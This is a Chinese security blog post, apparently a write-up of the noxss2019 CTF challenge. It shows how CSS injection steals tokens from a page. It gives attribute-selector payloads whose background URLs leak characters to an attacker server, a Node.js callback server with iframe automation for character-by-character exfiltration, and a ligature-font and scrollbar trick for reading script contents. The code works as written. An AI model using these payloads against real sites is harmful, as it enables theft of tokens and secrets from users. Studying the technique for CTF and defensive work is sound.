您当前的位置:首页 > 电脑百科 > 安全防护 > 服务器/网站

通过CSS注入窃取HTML中的数据

时间:2019-12-19 13:52:50  来源:  作者:

通过CSS注入窃取HTML中的数据

 

noxss2019

 

可控点在@import url()路径中,但是尖括号和双引号等被转义了。

通过CSS注入窃取HTML中的数据

 

我们需要构造xss来获取下面 <script> 标签中 secret 的内容。

通过CSS注入窃取HTML中的数据

 

css本身是一种容错率很强的语言,css文件即使遇到错误,也会一直读取,直到有符合结构的语句。

 

我们可以利用css解析的容错性构造 %0a){}body{color:red}/* 来执行任意css。

通过CSS注入窃取HTML中的数据

 

后面就是参考这篇文章:https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/去窃取管理员的secret内容。

 

假设我们有一个php页面

<?php$token1 = md5($_SERVER['HTTP_USER_AGENT']);$token2 = md5($token1);?><!doctype html><meta charset=utf-8><input type=hidden value=<?=$token1 ?>><script>    var TOKEN = "<?=$token2 ?>";</script><style>    <?=preg_replace('#</style#i', '#', $_GET['css']) ?></style>

页面中有两个token,一个在 <input> 标签中,一个在 <script> 内。

然后我们需要利用css参数构造xss来窃取这两个token。

窃取input标签中的token

CSS选择器使我们能够准确选择HTML元素。

/*选择value值为abc的input标签*/input[value="abc"] { }/*选择value值以a开头的input标签 */input[value^="a"] { }

因此我们可以利用此来为属性的第一个字符的所有可能值准备不同的样式

input[value^="0"] {    background: url(http://serwer-napastnika/0);}input[value^="1"] {    background: url(http://serwer-napastnika/1);}input[value^="2"] {    background: url(http://serwer-napastnika/2);}...input[value^="e"] {    background: url(http://serwer-napastnika/e);}input[value^="f"] {    background: url(http://serwer-napastnika/f);}
通过CSS注入窃取HTML中的数据

 


通过CSS注入窃取HTML中的数据

 

同理我们可以依次提取出所有的token值。

 

然后我们需要利用JAVAscript将上述过程自动化:

  • HTML页面将使用js把CSS提取到的内容请求到攻击者的服务器上

 

  • 攻击者的服务器会接受带有CSS提取的内容并进行反向通信,告诉客户端js如何提取内容

 

  • 客户端js与攻击者的服务器之间的通信将通过cookie。例如如果攻击者的服务器收到token的前两个字符为’49’,则设置 cookie=49 ,客户端js将定期检查cookie是否已设置,如果已设置,它将使用其值生成新的CSS来提取下一个标记字符。

假设服务器后端使用nodejs实现,创建package.json 并执行npm install

{  "name": "css-attack-1",  "version": "1.0.0",  "description": "",  "main": "index.js",  "dependencies": {    "express": "^4.15.5",    "js-cookie": "^2.1.4"  },  "devDependencies": {},  "author": "",  "license": "ISC"}
const express = require('express');const App = express();app.disable('etag');const PORT = 3000;app.get('/token/:token',(req,res) => {    const { token } = req.params; //var {a} = {a:1, b:2}; => var obj = {a:1, b:2};var a = obj.a;        console.log(token);    res.cookie('token',token);    res.send('')});app.get('/cookie.js',(req,res) => {    res.sendFile('js.cookie.js',{        root: './node_modules/js-cookie/src/'    });});app.get('/index.html',(req,res) => {    res.sendFile('index.html',{        root: '.'    });});app.listen(PORT, () => {    console.log(`Listening on ${PORT}...`);});

然后我们需要构造一个HTML文件来窃取token的所有下一个字符。现在我们已知:

  • 我们要从0-9a-f范围内提取由32个字符组成的令牌,

 

  • 我们有一个存在CSS注入的页面,我们可以通过HTML的 <iframe> 标签来引用此页面。

 

攻击流程如下:

  1. 如果我们目前设法提取的令牌长度小于预期的长度,则我们执行以下操作
  2. 删除包含所有先前提取数据的cookie
  3. 创建一个iframe标签,并引用一个易受攻击的页面,该页面具有相应的css代码,允许我们提取另一个标记字符。
  4. 我们一直等到攻击者服务器的回调为我们设置含有token的cookie
  5. 设置cookie后,我们将其设置为当前的已知令牌值,并返回到步骤1

初步代码如下:

<!doctype html><meta charset=utf-8><script src="http://127.0.0.1:3000/cookie.js"></script><big id=token></big><br><iframe id=iframe></iframe><script>    (async function() {        const EXPECTED_TOKEN_LENGTH = 32;        const ALPHABET = Array.from("0123456789abcdef");                const iframe = document.getElementById('iframe');        let extractedToken = '';        while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {            clearTokenCookie();            createIframeWithCss();            extractedToken = await getTokenFromCookie();            document.getElementById('token').textContent = extractedToken;        }         })();</script>

然后我们需要补充上面的的一些功能函数

首先我们清除cookie中的token值,可以直接使用JS-cookie 库中的Cookie对象。

https://github.com/js-cookie/js-cookie

function clearTokenCookie() {    Cookies.remove('token');}

接下来,我们需要为 <iframe> 标签分配正确的URL:

function createIframeWithCss() {    iframe.src = 'http://localhost:12345/?css=' + encodeURIComponent(generateCSS());}

还要实现生成适当CSS的功能

function generateCSS() {    let css = '';    for (let char of ALPHABET) {        css += `input[value^="${extractedToken}${char}"] {            background: url(http://127.0.0.1:3000/token/${extractedToken}${char})        }`;    }    return css;}

最后我们需要实现通过等待反向连接来设置cookie-token的功能.

我们将使用JS中的 Promise 机制来构建异步函数,我们的代码每隔50毫秒检查一次cookie是否已设置,

如果已设置,该函数将立即返回该值。

function getTokenFromCookie() {    return new Promise(resolve => {        const interval = setInterval(function() {            const token = Cookies.get('token');            if (token) {                clearInterval(interval);                resolve(token);            }        }, 50);    });}

最后,实现攻击的代码如下所示:

<!doctype html><meta charset=utf-8><script src="http://127.0.0.1:3000/cookie.js"></script><big id=token></big><br><iframe id=iframe></iframe><script>    (async function() {        const EXPECTED_TOKEN_LENGTH = 32;        const ALPHABET = Array.from("0123456789abcdef");        const iframe = document.getElementById('iframe');        let extractedToken = '';        while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {            clearTokenCookie();            createIframeWithCss();            extractedToken = await getTokenFromCookie();            document.getElementById('token').textContent = extractedToken;        }        function getTokenFromCookie() {            return new Promise(resolve => {                const interval = setInterval(function() {                    const token = Cookies.get('token');                    if (token) {                        clearInterval(interval);                        resolve(token);                    }                }, 50);            });        }        function clearTokenCookie() {            Cookies.remove('token');        }        function generateCSS() {            let css = '';            for (let char of ALPHABET) {                css += `input[value^="${extractedToken}${char}"] {                    background: url(http://127.0.0.1:3000/token/${extractedToken}${char})                }`;            }            return css;        }        function createIframeWithCss() {            iframe.src = 'http://localhost:12345/secret.php?css=' + encodeURIComponent(generateCSS());        }    })();</script>

将其保存在index.js同目录下,并且命名为index.html。

访问127.0.0.1:3000/index.html

通过CSS注入窃取HTML中的数据

 


通过CSS注入窃取HTML中的数据

 

窃取<script>标签中的token

CSS选择器只能帮助我们根据属性值的开头来标识元素,但是我们不能对标记本身中包含的文本执行相同的操作(CSS只是没有这种类型的选择器)。

 

那么我们如何在<script>标签内获取token?比如下面的代码中。

<script>    var TOKEN = "06d36aed58d87fd8db3729ab84f1fe3d";</script>

我们将使用连字和样式滚动条定义我们自己的字体来完成攻击。

什么是连字:http://www.mzh.ren/ligature-intro.html

借助_fontforge等其他软件 ,我们可以创建自己的字体包括自己的连字。

_Fontforge是一个相当强大的字体创建工具。

 

我们将使用它将字体从SVG格式转换为WOFF。

#!/usr/bin/fontforgeOpen($1)Generate($1:r + ".woff")

fontforge script.fontforge <plik>.svg

让我们看看SVG中的字体定义如何。

 

下面是一个简单字体的示例,其中未为拉丁字母的所有小写字母分配任何图形符号,并且宽度均为0(属性:horiz-adv-x = “0” ),同时还定义了_securak_连字 ,它也是图形符号没有,但是为他设置了很大的宽度值。

<svg>  <defs>    <font id="hack" horiz-adv-x="0">      <font-face font-family="hack" units-per-em="1000" />      <missing-glyph />      <glyph unicode="a" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="b" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="c" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="d" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="e" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="f" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="g" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="h" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="i" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="j" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="k" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="l" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="m" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="n" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="o" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="p" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="q" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="r" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="s" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="t" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="u" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="v" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="w" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="x" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="y" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="z" horiz-adv-x="0" d="M1 0z"/>      <glyph unicode="sekurak" horiz-adv-x="8000" d="M1 0z"/>    </font>  </defs></svg>
<!doctype html><html><head><meta charset="UTF-8"><title>Untitled Document</title><style>@font-face {    font-family: "hack";    src: url(data:application/x-font-woff;base64,d09GRk9UVE8AAASQAA0AAAAABrAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAADCAAAAMUAAAESIYipMEZGVE0AAAR0AAAAGQAAAByNNn8cR0RFRgAAA9AAAAAhAAAAJABOADlHUE9TAAAEQAAAACAAAAAgbJF0j0dTVUIAAAP0AAAASQAAAFrZZNxYT1MvMgAAAYQAAABEAAAAYFXjXMBjbWFwAAACpAAAAFgAAAFKYztWsWhlYWQAAAEwAAAAKgAAADYS6ZoHaGhlYQAAAVwAAAAgAAAAJAN85DxobXR4AAAEYAAAABEAAABw5OcAAG1heHAAAAF8AAAABgAAAAYAHFAAbmFtZQAAAcgAAADaAAABYiFRA6twb3N0AAAC/AAAAAwAAAAgAAMAAHicY2BkYGAAYpOXdZLx/DZfGbiZXwBFGG4+XTMRmYYCDgYmEAUAQpwKTAAAeJxjYGRgYFb4b8EQxfyCgeHBfwYGBqAICpABAHGNBJ0AAFAAABwAAHicY2Bm/MI4gYGVgYOpi2kPAwNDD4RmfMBgyMjEwMDEwMrMAAOMDEggIM01hcGBIZGhilnhvwVDFIYaBSBkBwBaygpNeJxdkDtOAzEQhr9NNuEp6NLijmpX9ioNqahyAIr0q8jaRES7kpNcghohcQwOQM21+B2GJh7Z883on4cM3PJBQT4FJdfGIy54MB7j2BqXsnfjCTd8GU+V/5GyKK+UuTxVZR5xx73xmGcejUtp3ownzPg0nir/zYaWNa+wadd6X4h0HNkpnRTG7rhrBUsGeg4nn6SIWrShxssvdP/b/EVzKoKsksbLP6nB0B+WQ+qia2rvFi6Pk5tXIVSND1KcbbLSjMRe35EnO3XJ01jFtN8OvQu1Py/5BWsjLgEAAHicY2BgYGaAYBkGRgYQcAHyGMF8FgYNIM0GpBkZmICsqv//wSoSQfT/BVD1QMDIxoDg0AowMjGzsLKxc3BycfPw8vELCAoJi4iKiUtIStHaZqIAALdlCJ94nGNgZsALAAB9AAR4nGNkYGFhYGRkZM1ITM5mYGRiYGTQ+CHD9EOW+YcESzcPczcPSzcQsMowxPLLMDAIyDBMEZRhYJdh5BZiYAap5mMQYhArjk+Nz44vjS+KT4zPBpkENg0InBicGVwYXBncGNwZPBg8GbwYvBl8GHwZ/Bj8GQIYAhmCGIIZQhhCGcIYwhkiGCIZohiiGdsZZBgZWdi5eAWExSRl5JVUNbT1DE3MrWwdnN08ffyDIn7V8PWIURPJPPgPJLtFukW7ebgA4FE4WAAAAHicY2BkYGDgAWIZIGYCQkYGKSCWBkImBhawGAmacZ8AiAAAAHicLYk7CoAwFATnwROD6QxWiifwUqmCEKxy/7h+imWYWQyY2DmwmttFwFXoneexepasxmf6/GXQtp/OyshAZGGWR81IN43bBm8AAAAAAQAAAAoAHAAeAAFsYXRuAAgABAAAAAD//wAAAAAAAHicY37BQDfw4D8DAwBs1QLLAAAAeJxjYGBgZACCm9mqP8H00zUTYTQAVA0IWgAAAA==);}span {    background: lightblue;    font-family: "hack";}body {    white-space: nowrap;}body{    overflow-y: hidden;    overflow-x: auto;}body::-webkit-scrollbar {    background-color: blue;}body::-webkit-scrollbar:horizontal {    background: url(http://127.0.0.1:999);}</style></head><body><span id=span>123sekurak123</span></body></html>

我们设置iframe的width=900px,连字体设置非常大,当出现连字sekurak时就会出现滚动条,从而请求攻击者的服务器。

通过CSS注入窃取HTML中的数据

 

后面就是代码实现和思路的问题了,具体可以看zsx师傅写的https://xz.aliyun.com/t/6655#toc-5

 

原理

 

通过CSS注入窃取HTML中的数据

 

作者:smile



Tags:CSS注入   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
noxss2019 可控点在@import url()路径中,但是尖括号和双引号等被转义了。 我们需要构造xss来获取下面 <script> 标签中 secret 的内容。 css本身是一种容错率很强的语言,css...【详细内容】
2019-12-19  Tags: CSS注入  点击:(90)  评论:(0)  加入收藏
▌简易百科推荐
在最近的一波攻击中,黑客利用多个插件中未修补的漏洞攻击了 160 万个 WordPress 网站。 易受攻击的插件对 WordPress 网站产生了的巨大攻击数据。 Wordfence 最近发现 WordPr...【详细内容】
2021-12-16  蚁安    Tags:WordPress   点击:(9)  评论:(0)  加入收藏
事件起因从安全分析系统里面发现一条带有病毒的下载,然后针对这条记录展开了一系列的分析分析过程1.登录到被感染服务器,查看系统状况,hadoop 这个用户在 2020/6/18 20:32 从这...【详细内容】
2021-11-23  Z2990Lig    Tags:SSH   点击:(32)  评论:(0)  加入收藏
1、除了服务器需要用的一些正规软件,其它都不要安装。2、在用户中把administrator改名,这样做的目的是即使对方暴破了我们的密码用户名也不容易猜住,相当于又加了一道关卡。...【详细内容】
2021-11-01  IT小哥吧    Tags:服务器   点击:(37)  评论:(0)  加入收藏
账户安全(1)更名administrator本地用户并禁用guest账户步骤:点击“开始”,找到“管理工具”,点击里面的“计算机管理”,找到“本地用户和组” (2)设定账户锁定策略尝试5次失败...【详细内容】
2021-10-12  Kali与编程  今日头条  Tags:Windows主机   点击:(62)  评论:(0)  加入收藏
本文主要介绍以Microsoft的Windows Server 2019 ,版本:Datacenter(Domain Controller)安全加固保护.企业随着规模不断扩大,业务增多,信息安全建设是企业里一条只有重点没有终点...【详细内容】
2021-09-17  Vireshark    Tags:服务器安全   点击:(64)  评论:(0)  加入收藏
目录常见共享命令IPC$IPC$的利用条件1:开启了139、445端口2:目标主机开启了IPC$共享3:IPC连接报错IPC空连接空连接可以做什么?(毫无作用)IPC$非空连接IPC$非空连接可以做什么?di...【详细内容】
2021-09-16  网络说安全    Tags:系统安全   点击:(86)  评论:(0)  加入收藏
昨天一个老哥找到我,说他的服务器这几天一直被CC攻击,问我这边有没有什么解决的方法? 近年来,网络攻击事件越来越频繁,最常见的就是CC攻击和DDOS攻击,主要的区别就是针对的对象不...【详细内容】
2021-09-10  小蚁GDRAGON    Tags:cc攻击   点击:(58)  评论:(0)  加入收藏
网站页面上的登录操作,通常都是输入帐号密码,传输至网站后台验证。在网站页面、数据传输中,通过技术手段,都可以得到用户输入的信息,并可以修改,从而发起网络攻击。典型的如:使用自...【详细内容】
2021-08-30  修丹道的程序猿    Tags:登录方式   点击:(62)  评论:(0)  加入收藏
网络安全研究人员披露了一类影响主要 DNS 即服务 (DNSaaS) 提供商的新漏洞,这些漏洞可能允许攻击者从企业网络中窃取敏感信息。基础设施安全公司 Wiz 的研究人员 Shir Tamar...【详细内容】
2021-08-12  零日时代    Tags:漏洞   点击:(66)  评论:(0)  加入收藏
001暴力破解1. 指定用户名爆破密码传统型爆破思路,用户名可以通过猜测或者信息收集获得。猜测:admin、网站域名等信息收集:新闻发布人、whoami等2. 指定密码爆破用户名如果是后...【详细内容】
2021-07-23  KaliMa  今日头条  Tags:登陆框   点击:(85)  评论:(0)  加入收藏
相关文章
    无相关信息
最新更新
栏目热门
栏目头条